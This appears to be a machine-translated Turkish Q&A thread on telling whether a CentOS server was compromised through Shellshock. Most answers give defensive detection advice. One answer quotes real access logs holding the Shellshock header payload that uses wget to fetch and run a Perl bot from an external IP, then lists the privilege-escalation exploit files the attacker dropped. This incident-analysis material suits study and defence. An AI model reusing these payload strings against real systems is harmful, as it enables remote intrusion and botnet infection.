Shellshock: Sunucumun ele geçirildiğini + şüpheli dosyaların olup olmadığını nasıl anlarım?


18

Birisinin cevaplamasına yardımcı olabileceğini umduğum üç soru:

  1. Shellshock hatası nedeniyle sunucumun güvenliğinin aşılmış olup olmadığını nasıl anlarım?
  2. Güvenliği ihlal edilmişse, kötü amaçlı dosyaları aramam gereken belirli bir klasör var mı?
  3. Kötü amaçlı bir dosya nasıl görünür?

CentOS 6, LEMP yığınını çalıştırıyorum

Yanıtlar:


36

Shellshock hatası nedeniyle sunucumun güvenliğinin aşılmış olup olmadığını nasıl anlarım?

Yapmazsın. Bu bir güvenlik açığı fikri. Tıklamanız gerekiyorsa kraker girsin? Tamam / İptal çok fazla bir güvenlik açığı olmaz.

Saldırı vektörlerinizin günlüklerini kontrol etme şansınız olabilir, ancak çok sayıda hizmetin savunmasız olduğu ve hepsinin her erişimi günlüğe kaydetmediği göz önüne alındığında, kesin olarak bir saldırı bulmak mümkün değildir.

Güvenliği ihlal edilmişse, kötü amaçlı dosyaları aramam gereken belirli bir klasör var mı?

Hayır, kötü amaçlı bir dosya herhangi bir yerde olabilir.

Ortak rootkit'ler kendilerini /rootveya /veya /tmpveya ikili yollardan birine kurarlar, ancak gerçekten her yerde olabilirler. Gerçek bir hizmete benzer bir ada sahip olabilirler veya "önemli" gibi görünen " IPTables" veya " kernel-bin" gibi bir şeye sahip olabilirler, ancak rastgele karakter dizeleri veya orijinal bir ikili ile aynı adda da olabilirler (sadece farklı bir yolda). Yüklemede /etc/rc.localveya üzerinden bağlantı kurmada gerçekten belirgin bir rootkit tespit edebilirsiniz netstat -neopa. Şüpheli işlem adlarınıtop -c .

Daha az yaygın ve çok daha zor bir rootkit bulmak bir kütüphanenin yerini alır veya kendisini bir şim kütüphanesi olarak yükler ve sistem çağrılarını keser. Sisteminizde çalışan her şeyi bağlamadığınız / izleyemediğiniz ve davranışı bilinen iyi bir sistemin veya kaynak kodun beklenen davranışı ile karşılaşmadıkça bulmak neredeyse imkansızdır.

Sistemi yeniden yüklemek daha hızlı, daha kolay ve daha kesin olacaktır.

Kötü amaçlı bir dosya nasıl görünür?

Muhtemelen diğer normal ELF ikili dosyaları veya kütüphaneleri gibi. Ayrıca bir komut dosyası da olabilir.

Sonuç olarak, sisteminizin güvenliğinin ihlal edildiğini düşünüyorsanız, sisteme güvenliği ihlal edilmiş gibi davranın ve gerekli önlemleri alın.


14
+1 "Kraker içeri girsin mi?" Başka bir not ... Linux'ta "IPTable" adlı bir şey görürseniz, çok şüpheli olun. UNIXian, CapsPhobic'dir.
fil

sisteminizin güvenliğinin ihlal edildiğini düşünüyorsanız, sisteme güvenliği ihlal edilmiş gibi davranın ve gerekli önlemleri alın. Bu, bashkurulu her olası sistem ve bir ağ kablosunun takılı olduğu anlamına gelir , değil mi?
Federico Poloni

@FedericoPoloni Yalnızca birisi ağ üzerinden kabuğunuza erişebiliyorsa. Ama aksi halde kesinlikle haklısın.
scai

@FedericoPoloni Bunun akıllıca bir seçim olup olmadığından emin değilim, çünkü sürekli olarak tüm sistemlere sahip olmak zorunda kalacağım, çünkü asla tehlikeye atılmadıklarından% 100 emin olamıyorum ve ciddi olarak kimse sistemlerinin güvenliğinin ihlal edilmediğinden emin olamaz onlar çok iyimser idi. Sisteminizin olması gerektiği gibi davranmadığından şüpheleniyorsanız, sistemi ve ağ trafiğini, tercihen A CLEAN OS'den incelemelisiniz. Kurcalamaya dair hiçbir kanıt bulamıyorum, delikleri düzeltmenin yanı sıra önlem almak zorunda değilsiniz. Aksi takdirde TÜM sistemleri 7/24 sürekli olarak yeniden yüklememiz gerekir!
Frank Waller

@FrankWaller Tamamen katılıyorum. Her zaman bir sistemin güvenliğinin ihlal edilmiş olması ve saldırganın iz bırakmayacak kadar yetenekli olması ihtimali vardır, ancak bu duruma hitap etmek için 24x7'yi yeniden yükleyemeyiz.
Federico Poloni

21

shellshock solucan değildir, bu yüzden aranacak dosya yoktur. Shellshock, giriş kazanmak için bir ağa saldırmanın bir yoludur. İçeri girdikten sonra saldırganın ne yapacağını bilen.


3
Bu cevap bana biraz karışık geliyor - belki aceleyle kesilmişti, ya da cevap yerine bir yorum olmalı. Elbette, bu bir solucan değil (bir güvenlik açığı, bir kötü amaçlı yazılım parçası değil), ancak bunun neden alakalı olduğunu düşündüğünüz veya bunun neden "aranacak dosya yok" anlamına geldiği açık değil. Shellshock bir ağa saldırmanın bir yolu değildir; bir makineye girmenin bir yoludur. Bu bir ağa değil, bir makineye saldırıdır.
DW

2
@DW Çok özlü, ama açıkça OP'nin endişesine doğrudan yanıt olarak verildi is there a particular folder where I should look for malicious files.
ᴠɪɴᴄᴇɴᴛ

5

Bir IRC bot olarak yüklemek hata, istismar bir girişim gördüm /var/tmp/x. Ancak genel olarak, aranacak belirli bir dosya yoktur, çünkü herhangi bir yerde veya hiçbir yerde olmayabilirler.

Web sunucusundan ödün verdiyseniz, web sunucusu kullanıcısının sahip olduğu yeni bir dosya veya işlem şüpheli olur.

Bir saldırganın bashsisteme girmek için önce hatayı ve ardından olmak için yerel bir güvenlik açığını kullanması durumundaroot , tespit etmek neredeyse imkansız hale gelebilir.

Ayrıca bu benzer soruya bakın .


Web sunucusu kullanıcı sahipliği fikri için +1
Xan

4

Suprjami'nin cevabını yankılayacağım ve sisteminiz savunmasızsa, bunu ele geçirilmiş olarak ele almanız gerektiğini söyleyebilirim.

Apache çalıştırıyorsanız, aşağıdaki komutla Shellshock saldırı girişimlerinin günlüklerini kontrol edebilirsiniz:

[root@server ~]# grep cgi /var/log/httpd/access*|egrep "};|}\s*;"

Bu komut, Apache'nin erişim günlüklerinden "cgi" içeren tüm satırları ayıklar (varsayılan olarak access_log, access_log.1, access_log.2 vb. Olarak adlandırılır) ve ardından normal ifadeyle egrep'e bağlar.

(Kaynak: http://linux.slashdot.org/story/14/09/24/1638207/remote-exploit-vulnerability-found-in-bash )


Apache'nin varsayılan yapılandırması için bunun yalnızca hedef URL'ye ve "Kullanıcı-Aracı" ve "Yönlendiren" başlıklarına saldırı göstereceğini unutmayın. "Çerez" veya "X-Ploit" gibi bir başlıktaki saldırı günlüğe kaydedilmez.
Mark

1
@Mark Kesinlikle, bundan bahsetmeliydim.
Ralph

1
Elbette, kendine saygılı bir saldırganın yapacağı ilk şey, saldırının herhangi bir ipucunu günlüklerden silmek ... bu yüzden günlükler bir kez yazılmalı ve uzak olmalıdır!
Jörg W Mittag

4

Shellshock için bazı saldırı vektörleri olduğu için, bazıları henüz genel halk tarafından bilinmemektedir veya özel bir CGI betiğinden kaynaklanmaktadır, tehlikeye girip girmediğinizi söylemenin kesin bir yolu yoktur.

Olağan "ek olarak, bazı sistem dosyalarının değiştiğini veya son zamanlarda şüpheli bir şey olup olmadığını görelim" yaklaşımına ek olarak, sunucu davranışınıza dikkat etmek isteyebilirsiniz.

  1. Birden fazla ağ trafiği var mı?
  2. CPU / bellek kullanımı çok değişti mi?
  3. Disk alanını tüketen veya normalden daha fazla G / Ç'ye neden olan bir şey mi var?
  4. netstatGarip ağ bağlantıları gösteriyor mu veyaps aux tanımadığınız gösteri süreçlerini?
  5. Sunucunuz aniden eskisinden çok daha fazla e-posta gönderiyor mu?

Doğru sunucu sağlığı izlemeniz (örneğin Zabbix) çalışıyorsa, güvenlik ihlallerini bulmanıza da yardımcı olabilir. Ayrıca sistem dosyalarının MD5 / SHA toplamlarını bilinen iyi bir yedeklemeyle karşılaştırabilirsiniz.

Temel olarak sunucunuzun güvenliği ihlal edilmiş gibi davranın ve aklınıza gelebilecek her şeyi araştırın.


4

Güvenliği aşılan eski bir Plesk sistemini temizlemekten zevk aldım. Bunu veren ilk şey, birçok bağlantı noktasını ve diğerlerini orijinal tarama sunucusundan kod indirmeye çalışırken dinlemeye başlayan çok sayıda işlemdi.

    lsof -i -n
...
        perl       1899      user100     3u  IPv4 227582583      0t0  TCP 87.106.215.123:49859->94.102.63.238:https (SYN_SENT)
        perl       1999      user101     3u  IPv4 227582597      0t0  TCP 87.106.215.123:49861->94.102.63.238:https (SYN_SENT)
        perl       2016       wwwrun     3u  IPv4 227549964      0t0  TCP 87.106.215.123:56263->94.102.63.238:https (ESTABLISHED)
...

Günlükleri takiben nihai delik bir cgi_wrapper komut dosyası olduğunu sistemi korumak ve korumak için gerekli olan bir şey, deliği korumaya yırtan şeydi. Problardan bazı günlük hatları ve başarılı saldırı:

Bunlar access_log'daki satırlardır, çünkü bu sadece bir örnektir, diğerlerinden 404 ile başarısız olurken diğer satırların 200'üne 200'ü not edin. Bunlar başarılı olmadığı için 404 olan satırlar hakkında endişelenmenize gerek yok, 200 ile olanlar yaptı. Bu saldırılardaki desen her zaman aynıdır: 1. bir perl betiğini indirmek ve yürütmek için kabuklu bir cgi betiği kullanın, perl betiğini tekrar silin. Perl betiği aslında bazı kaynak dosyalarını (tgz) indirecek ve onları çalıştıracak, en azından bir arka kapı ve otomatik bir güncelleme mekanizması içerdiğini gördüklerimden, ayrıca yükseltilmiş yürütme ayrıcalıklarını denemek ve kazanmak için istismarlara benziyor. Başlangıçtaki tüm komut dosyaları aslında sarıcı tarafından sağlanan kullanıcı olarak yürütülürken, daha sonra hizmetler 1 PPID (kök işlemden başlatılır) ile başlatılır.

94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-sys/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /phppath/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php5-cli? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /phppath/cgi_wrapper? HTTP/1.1" 200 9 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-sys/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /phppath/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php5-cli? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /phppath/cgi_wrapper? HTTP/1.1" 200 9 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"

Ve burada karşılık gelen error_log satırları:

[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] File does not exist: /srv/www/vhosts/default/htdocs/cgi-sys
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/cgi-bin/cgi_wrapper/php
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] --2014-09-28 00:41:03--  http://94.102.63.238/shell.pl
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Connecting to 94.102.63.238:80...
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] connected.
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] HTTP request sent, awaiting response...
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 200 OK
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Length:
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 17079
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]  (17K)
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]  [text/x-perl]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Saving to: `/tmp/bot.pl'
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]      0K
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 100%
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]   626K
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] =0.03s
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 2014-09-28 00:41:03 (626 KB/s) - `/tmp/bot.pl' saved [17079/17079]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5-cli
[Sun Sep 28 00:46:03 2014] [warn] [client 94.102.63.238] Timeout waiting for output from CGI script /srv/www/cgi-bin/cgi_wrapper/cgi_wrapper
[Sun Sep 28 00:46:03 2014] [error] [client 94.102.63.238] (70007)The timeout specified has expired: ap_content_length_filter: apr_bucket_read() failed
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] File does not exist: /srv/www/vhosts/default/htdocs/cgi-sys
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/cgi-bin/cgi_wrapper/php
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] --2014-09-28 01:29:34--  http://94.102.63.238/shell.pl
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Connecting to 94.102.63.238:80...
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] connected.
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] HTTP request sent, awaiting response...
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 200 OK
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Length:
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 17079
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]  (17K)
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]  [text/x-perl]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Saving to: `/tmp/bot.pl'
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]      0K
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 100%
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]   575K
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] =0.03s
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 2014-09-28 01:29:34 (575 KB/s) - `/tmp/bot.pl' saved [17079/17079]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5-cli
[Sun Sep 28 01:34:34 2014] [warn] [client 94.102.63.238] Timeout waiting for output from CGI script /srv/www/cgi-bin/cgi_wrapper/cgi_wrapper
[Sun Sep 28 01:34:34 2014] [error] [client 94.102.63.238] (70007)The timeout specified has expired: ap_content_length_filter: apr_bucket_read() failed

/ Tmp dosyasına indirilen dosyalar Tahmin edilebileceği gibi, hemen silindiği için bot.pl dosyasına sahip değilim.

-rwxr-xr-x 1 user100  psacln   187 Sep 29 01:02 check
-rwxr-xr-x 1 user100  psacln  9849 Sep 29 03:35 exploit
drwxr-xr-x 4 user100  psacln  4096 Sep 29 03:19 expls
-rw-r--r-- 1 user100  psacln 91693 Sep 29 03:13 expls.tgz
-rw-r--r-- 1 user100  psacln   178 Sep 29 03:35 payload.c

cd ./expls
drwxr-xr-x 2 user100  psacln  4096 Sep 29 03:13 1
drwxr-xr-x 2 user100  psacln  4096 Sep 29 03:13 2
-rwxr-xr-x 1 user100  psacln 23040 Sep 29 03:19 bcm
-rw-r--r-- 1 user100  psacln 15695 Sep 29 02:46 bcm.c
-rwxr-xr-x 1 user100  psacln 13175 Sep 29 03:19 bug
-rw-r--r-- 1 user100  psacln  2657 Sep 29 02:46 bug.c
-rwxr-xr-x 1 user100  psacln 14560 Sep 29 03:13 config
-rw-r--r-- 1 user100  psacln  6468 Sep 29 02:46 config.c
-rwxr-xr-x 1 user100  psacln 13866 Sep 29 03:13 config2
-rw-r--r-- 1 user100  psacln  6335 Sep 29 02:46 config2.c
-rw-r--r-- 1 user100  psacln  2736 Sep 29 02:46 data.c
-rw-r--r-- 1 user100  psacln  4221 Sep 29 02:46 diag.c
-rwxr-xr-x 1 user100  psacln 13698 Sep 29 03:19 expl
-rw-r--r-- 1 user100  psacln  1686 Sep 29 02:46 expl.c
-rw-r--r-- 1 user100  psacln 15013 Sep 29 02:46 half.c
-rwxr-xr-x 1 user100  psacln 18611 Sep 29 03:19 nellson
-rw-r--r-- 1 user100  psacln  9489 Sep 29 02:46 nellson.c
-rwxr-xr-x 1 user100  psacln   419 Sep 29 02:03 origin
-rw-r--r-- 1 user100  psacln 15727 Sep 29 02:46 pipe.c
-rwxr-xr-x 1 user100  psacln 13481 Sep 29 03:19 polkit
-rw-r--r-- 1 user100  psacln  3597 Sep 29 02:46 polkit.c
-rwxr-xr-x 1 user100  psacln  2741 Sep 29 01:51 preload
-rwxr-xr-x 1 user100  psacln   208 Sep 29 02:01 preload2
-rwxr-xr-x 1 user100  psacln 14257 Sep 29 03:13 rds
-rw-r--r-- 1 user100  psacln  7250 Sep 29 02:46 rds.c
-rwxr-xr-x 1 user100  psacln   233 Sep 29 03:13 run
-rwxr-xr-x 1 user100  psacln 17864 Sep 29 03:19 semtex
-rw-r--r-- 1 user100  psacln  3757 Sep 29 02:46 semtex.c
-rwxr-xr-x 1 user100  psacln 14023 Sep 29 03:13 semtex2
-rw-r--r-- 1 user100  psacln  4799 Sep 29 02:46 semtex2.c
-rwxr-xr-x 1 user100  psacln 17904 Sep 29 03:19 semtex3
-rw-r--r-- 1 user100  psacln  2691 Sep 29 02:46 semtex3.c
-rwxr-xr-x 1 user100  psacln 13014 Sep 29 03:19 shell
-rw-r--r-- 1 user100  psacln   159 Sep 29 02:46 shell.c
-rwxr-xr-x 1 user100  psacln  9157 Sep 29 03:13 sock
-rw-r--r-- 1 user100  psacln  2232 Sep 29 02:46 sock.c
-rwxr-xr-x 1 user100  psacln   438 Sep 29 03:13 start
-rwxr-xr-x 1 user100  psacln 18268 Sep 29 03:19 sys32
-rw-r--r-- 1 user100  psacln  5389 Sep 29 02:46 sys32.c
-rw-r--r-- 1 user100  psacln 25396 Sep 29 02:46 x86_64.c

